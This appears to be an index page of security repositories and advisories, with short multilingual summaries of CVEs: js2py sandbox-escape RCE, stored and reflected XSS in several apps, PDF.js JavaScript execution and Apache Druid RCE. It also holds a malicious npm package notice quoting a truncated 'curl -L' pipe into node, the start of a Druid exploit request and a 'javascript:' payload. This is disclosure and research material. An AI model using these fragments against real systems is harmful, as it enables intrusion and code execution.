CVE-2024-28397-exploit

js2py 샌드박스 탈출 CVE-2024-28397 js2py = 0.74에서 샌드박스 탈출을 통한 원격 명령 실행RCE 익스플로잇. 안전하지 않은 JavaScript 평가를 통해 호스트 시스템에서 임의의 코드를 실행할 수 있습니다. 취약점 CVE : CVE-2024-28397 구성 요소 : js2py 영향을 받는 버전 : = 0.74 영향 : 원격 코드 실행 Remote Code Execution 벡터 : JavaScript 샌드박스 탈출 취약점 분석 : CVE-2024-28397-js2py-Sandbox-Escape 특징...

CVE-2026-103585

CVE-2026-103585: MediaSearch QuickView における格納型 XSS 報告者: Marco Paciaroni BomboBombone。 MediaSearch QuickView は CommonsMetadata の LicenseUrl.value をリンク先として直接使用していました。CommonsMetadata は編集可能なファイル説明から licensetpllink の値をコピーする際に、その URL スキームを制限していませんでした。編集者は javascript: URL を格納でき、訪問者が MediaSearch...

CVE-2026-103445

CVE-2026-103445: PageForms autoedit を介した格納型 XSS 報告者: Marco Paciaroni BomboBombone。 PageForms は、redirect パラメータを生成リンクの href として使用する際に、実行可能なスキームを拒否していませんでした。通常のページ編集権限を持つ編集者が javascript: URL を保存でき、訪問者がリンクをクリックすると実行されました。 概念実証 スクリプトを実行して PoC のウィキテキストを出力します。PageForms が有効なローカルウィキの、使い捨ての編集可能なページに保存し、生成さ...

CVE-2024-6529

워드프레스 플러그인의 취약점에 대한 PoC Proof of Concept 이 저장소에는 다양한 워드프레스 플러그인에서 발견된 여러 취약점에 대한 PoCProof of Concept 스크립트가 포함되어 있습니다. 이 스크립트는 공격자가 이러한 취약점을 악용하여 악의적인 행동을 수행하는 방법을 보여줍니다. 목차 포함된 취약점 설정 및 사용법 Ultimate Classified Listings 플러그인의 반사형 XSS XSS를 이용한 쿠키 탈취 중요 고려사항 포함된 취약점 1. Ultimate Classified Listings...

CVE-2024-50849

CVE-2024-50849: WorldServer v11.8.2에 저장된 XSS WorldServer v11.8.2의 'Rules' 기능에서 발견된 저장형 교차 사이트 스크립팅XSS 취약점으로, 원격 인증된 공격자가 임의의 JavaScript 코드를 실행할 수 있습니다. 인증된 높은 권한의 사용자는 'Rules' 페이지로 이동해야 합니다. 모든 필수 필드를 채우고 Rule name과 Parameter subject 필드에 XSS 페이로드를 삽입합니다. 규칙이 저장되면 'Execute Now' 버튼을 클릭한 후 JavaScrip...

Hacking-pdf.js-vulnerability

🚨 CVE-2024-4367: PDF.js에서의 임의 JavaScript 실행 이 프로젝트는 Mozilla의 PDF.js 라이브러리에서 글꼴 처리 코드의 부적절한 타입 검사로 인해 임의 JavaScript 실행을 허용하는 높은 심각도 취약점인 CVE-2024-4367 을 시연하고 분석합니다. 우리의 연구는 악의적으로 제작된 PDF가 Electron 앱과 같은 컨텍스트에서 JavaScript를 실행하여 잠재적으로 원격 코드 실행으로 이어질 수 있는 방법을 보여줍니다. 🔗 GitHub 저장소 :...

Steganography-Online-Codec-JavaScript

JavaScript & NPM向けステガノグラフィーオンラインコーデックSDK ステガノグラフィーオンラインコーデック を使用すると、AES暗号化アルゴリズムと256ビットのPBKDF2派生キーを使用して、パスワードで暗号化されたメッセージを画像や写真内に隠すことができます。 以下で無料で使用できます： https://www.pelock.com/products/steganography-online-codec このSDKは、WebAPIインターフェースを通じてコーデックとそのエンコード・デコード機能へのプログラミングアクセスを提供します。...

CVE-2021-25646

Apache Druid 원격 코드 실행 title="druid" && title=="Apache Druid" POST /druid/indexer/v1/sampler?for=filter HTTP/1.1 Host: x.x.x.x:8888 Content-Length: 612 Accept: application/json, text/plain, / Origin: http://x.x.x.x:8888 User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like...

CVE-2025-46181-XSS

CVE-2025-46181 - 온라인 예약 시스템에서 발견된 반사형 XSSReflected XSS CVE-ID : CVE-2025-46181 발견자 : Shemkumar P shemkumar.github.io 취약점 유형 : 반사형 교차 사이트 스크립팅Reflected XSS 심각도 : 중간Medium 상태 : 공개됨, MITRE에서 CVE 지정 ✨ 설명 공개 온라인 예약 시스템v1.0의 예약 확인confirmation을 처리하는 페이지에서 반사형 교차 사이트 스크립팅Reflected XSS 취약점이 발견되었습니다. GET...

CVE-2024-28397-Js2Py-RCE

CVE-2024-28397-Js2Py-RCE 설명 이 저장소는 Python용 Js2Py JavaScript 인터프리터의 샌드박스 탈출 취약점인 CVE-2024-28397에 대한 Python 기반 PoCProof of Concept를 포함합니다. 대상 애플리케이션이 Js2Py를 통해 신뢰할 수 없는 JS 코드를 평가할 때, 공격자는 샌드박스를 벗어나 임의의 Python 코드를 실행할 수 있습니다. 이를 이용해 취약한 시스템에서 원격 코드 실행RCE 및 리버스 셸을 획득할 수 있습니다. 본 익스플로잇은 Marven11의...

CVE-2023-46948

CVE-2023-46948 - Temenos T24 R19.40에서 반사형 XSS Temenos T24 Browser R19.40에서 반사형 크로스 사이트 스크립팅XSS 취약점이 발견되었습니다. 이 취약점으로 인해 원격 공격자가 인증된 피해자 브라우저 기반 웹 콘솔에서 임의의 JavaScript 코드를 실행할 수 있습니다. 영향받는 제품: Temenos T24 - R19.40 영향받는 구성 요소: /BrowserWebR19/jsps/about.jsp /BrowserWebR19/jsps/genrequest.jsp 영향받는 매개변...

CVE-2020-13965

CVE-2020-13965: Roundcube Webmail의 악성 XML 첨부 파일을 통한 교차 사이트 스크립팅 Roundcube 1.4.5 및 1.3.12 이전 버전에는 교차 사이트 스크립팅XSS 취약점이 존재합니다. 공격자는 text/xml 첨부 파일의 구문 분석을 악용하여 Roundcube 스크립트 필터를 우회하고, 악성 첨부 파일을 클릭하거나 미리 볼 때 피해자 브라우저에서 임의의 악성 JavaScript를 실행할 수 있습니다. 공급업체 공개: 이 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수...

CSZ-CMS-Stored-XSS---Site-Settings

CSZ CMS Stored XSS v1.3.0 작성자: Sergio 설명: CSZCMS v.1.3.0의 크로스 사이트 스크립팅XSS 취약점으로 인해 로컬 공격자가 Site Settings 메뉴의 Additional Meta Tag 매개변수에 조작된 스크립트를 삽입하여 임의 코드를 실행할 수 있습니다. 공격 벡터: 스크립팅Scripting: 'Site Settings'의 Additional Meta Tag 입력값에 대한 살균 과정의 취약점으로 인해 사용자가 웹 페이지 및 하위 페이지에 접근할 때 실행되는 JavaScript 코드...

CVE-2023-24278

CVE-2023-24278 - Squidex의 반사형 XSS 취약점 개요 CVE ID: CVE-2023-24278 영향을 받는 제품: 7.4.0 이전 버전의 Squidex 신고자: Ioannis Christodoulakos 이 저장소는 Squidex 오픈소스 헤드리스 CMS 소프트웨어에서 발견된 두 가지 반사형 크로스 사이트 스크립팅XSS 취약점에 대한 정보와 익스플로잇을 제공합니다. 이 취약점은 7.4.0 이전의 모든 버전에 영향을 미치며, 공격자가 /squid.svg 엔드포인트의 특정 쿼리 매개변수에 코드를 삽입하여 피해자...

Malicious code in @angularr/router (npm)

@angularr/[email protected] impersonates router it copies the code and metadata of the pillarjs router package and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...

PoC_CVE-2024-28157

CVE-2024-28157 - Jenkins GitBucket Plugin GitBucket URL: javascript:alert77 3. 保存し、プロジェクトページにアクセスする 4. 49 77 でアラートが発火する スクリーンショットは poc/screenshots/ にあります 参考情報 NVD https://nvd.nist.gov/vuln/detail/CVE-2024-28157...

CVE-2025-56795

CVE-2025-56795 설명 Mealie의 레시피 생성 기능에서 두 개의 저장형 교차 사이트 스크립팅XSS 취약점이 발견되었습니다. 이는 버전 3.0.1 까지의 모든 버전에 영향을 미칩니다. 레시피 생성 시 제공된 무결성 검사가 되지 않은 사용자 입력이 저장되고, 이후 프론트엔드에서 적절한 이스케이프 없이 렌더링되어 지속형 XSS가 발생합니다. 영향을 받는 필드 새 레시피를 생성할 때 다음 필드가 취약합니다: 1. 재료 메모 note 매개변수: 이 필드에 입력된 값은 저장된 후 레시피 상세 보기에서 렌더링되어, 주입된...

CVE-2025-60374

CVE-2025-60374 CVE-2025-60374: Perfex CRM 챗봇의 저장형 크로스사이트 스크립팅XSS ⚠️ 보안 권고 Perfex CRM 챗봇 기능에서 발견된 심각한 저장형 크로스사이트 스크립팅 취약점 📋 개요 Perfex CRM 3.3.1 이전 버전의 챗봇 구성 요소에서 발견된 저장형 XSS크로스사이트 스크립팅 취약점으로, 공격자가 채팅 메시지를 통해 임의의 JavaScript 코드를 주입할 수 있습니다. 악성 페이로드는 애플리케이션 데이터베이스에 저장되며, 채팅 대화를 보는 사용자의 브라우저에서 실행되어 세션...

detect-cve-2024-4367

CVE-2024-4367 탐지 PDF.js에서 임의 JavaScript 실행을 허용하는 CVE-2024-4367에 대한 빠르고 간단한 YARA 탐지 규칙입니다. 사용법 $ yara explpdfjscve20244367.yar pocgeneralizedCVE-2024-4367.pdf EXPLPDFJSCVE20244367 pocgeneralizedCVE-2024-4367.pdf 크레딧 PoC 및 공개 정보:...

CVE-2026-105090

Formbricks before 5.4.4 and 6 before 6.0.1 allows stored XSS. The survey-level Custom Head Scripts feature did not enforce the documented Manage permission boundary. A workspace member holding only readWrite permission could configure Custom Head Scripts on a survey, an operation the documentatio...